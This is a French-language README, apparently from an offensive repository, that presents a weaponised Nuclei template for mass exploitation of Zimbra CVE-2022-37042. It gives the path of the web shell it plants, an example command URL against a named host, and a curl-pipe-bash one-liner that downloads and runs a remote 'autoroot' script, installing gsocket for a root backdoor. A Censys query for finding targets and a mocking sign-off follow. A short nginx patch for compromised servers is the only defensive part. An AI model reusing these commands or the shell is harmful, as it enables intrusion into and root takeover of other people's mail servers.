CVE-2022-37042

Modèle Nuclei weaponisé pour Zimbra CVE-2022-37042

chemin du shell : /public/formatter.jsp

Nuclei lui-même : https://github.com/projectdiscovery/nuclei

le shell a une entrée cachée avec une opacité de 0, il suffit donc de survoler la souris, de taper la commande, puis d'appuyer sur la touche [Entrée] :

exemple d’URL du shell :

https://ms1.fission.com:8443/public/formatter.jsp?cmd=id

Correctif CVE-2022-37042 pour patcher les serveurs compromis

exécutez cette commande (une seule fois) :

cd /opt/zimbra/conf/nginx/templates/; sed -i 's|location ~\* \^/zmerror_|location = /service/extension/backup/mboximport { return 403; }\n    location ~\* \^/zmerror_|' nginx.conf.web.http*; /opt/zimbra/bin/zmproxyctl restart;

un code supplémentaire est nécessaire pour les serveurs qui utilisent Apache et non Nginx. Les pull requests sont les bienvenues.

Autoroot Zimbra via zimbslap

curl -fskSL raw.githubusercontent.com/aels/zimbra-slapper/main/slapper.sh | bash 2>&1

cette commande installera global-socket (https://www.gsocket.io/deploy/) et vous transmettra la clé pour vous connecter en tant que root.

Récupérer les IP Zimbra

https://search.censys.io/search?resource=hosts&sort=RELEVANCE&per_page=100&virtual_hosts=EXCLUDE&q=services.http.response.html_tags%3A+%22%3Ctitle%3EZimbra+Web+Client+Sign+In%22

joyeux anniversaire massacre, enculés ;)